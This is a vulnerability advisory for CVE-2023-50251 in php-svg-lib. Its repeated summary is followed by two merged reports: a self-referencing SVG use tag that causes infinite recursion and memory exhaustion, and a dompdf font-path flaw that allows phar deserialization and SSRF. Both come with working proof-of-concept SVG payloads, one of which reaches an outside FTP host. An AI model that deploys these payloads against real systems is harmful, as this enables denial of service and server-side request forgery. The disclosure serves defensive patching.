CVE-2023-50251

php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a use tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.

php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a use tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.

Summary

A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a file_exists call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.

Details

The problem lies on the openFont function of the lib/Cpdf.php library, when the $font variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS :

$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
[...]

if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {

Passing a font named phar:///foo/bar/baz.phar/test will set the value of $name to test and $dir to phar:///foo/bar/baz.phar, which once reconstructed will call file_exists on phar:///foo/bar/baz.phar/test.ufm. That allows to deserialize the baz.phar arbitrary file that contains a test.ufm file in the archive.

PoC

Consider the following, minimal PHP code :

<?php
require('vendor/autoload.php');

use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();

With payload being this html file :

<html>
<img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img>
</html>

with the base64 image being :

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text>
</svg>

A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.

Impact

An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

Summary

When parsing the attributes passed to a use tag inside an svg document, we can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.

Details

Inside Svg\Tag\UseTag::before, php-svg-lib parses the attributes passed to an use tag inside an svg document. When it finds a href or xlink:href, it will try to retrieve the object representing this tag:

$link = $attributes["href"] ?? $attributes["xlink:href"];
$this->reference = $document->getDef($link);

if ($this->reference) {
    $this->reference->before($attributes);
}

$document->getDef is implemented as follow:

public function getDef($id) {
    $id = ltrim($id, "#");

    return isset($this->defs[$id]) ? $this->defs[$id] : null;
}

Note: the $id in the above method is actually the link being used in use tag. This part is important, because this behaviour here actually leads to the vulnerability. It will be mentioned later on in this report.

If it finds the referenced object, it will try to call the before method on the referenced object (this is still inside Svg\Tag\UseTag::before) :

if ($this->reference) {
    $this->reference->before($attributes);
}

In order to cause an infinte loop, we need to be able to control the $id used in the $this->defs[$id] code above. This defs property (Svg\Document::defs) is being populated when Svg\Document::_tagStart is called. This is the handler being used when the php-svg-lib is parsing the svg structure:

// Svg\Document line 343
if ($tag) {
    if (isset($attributes["id"])) {
        $this->defs[$attributes["id"]] = $tag;
    }
    else {
        // ...
    }

    // ...
}

So if the use tag contains an id, then that use tag will be added to the $defs array with it's id as the key.

Now as noted before, when there is a link inside the use tag, the library uses that link as the id to actually find the object or tag that has been added to the Svg\Document::defs.

So if the id attribute is equal to the link attribute inside the use tag, then the referenced object (in this case it is the Use tag object) will be called recursively until the memory given to the script is exhausted.

PoC

This is an example svg file that can be used to demonstrate the vulnerability.

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use id="selfref" xlink:href="#selfref" />
</svg>

Impact

When the lib parses the above payload, it will crash:

PHP Fatal error:  Allowed memory size of 536870912 bytes exhausted (tried to allocate 262144 bytes) in /xxx/dompdf/vendor/phenx/php-svg-lib/src/Svg/Tag/UseTag.php on line 37

An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.

php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a use tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.

php-svg-lib is an SVG file parsing / rendering library. Prior to version 0.5.1, when parsing the attributes passed to a use tag inside an svg document, an attacker can cause the system to go to an infinite recursion. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. An attacker sending multiple request to a system to render the above payload can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 0.5.1 contains a patch for this issue.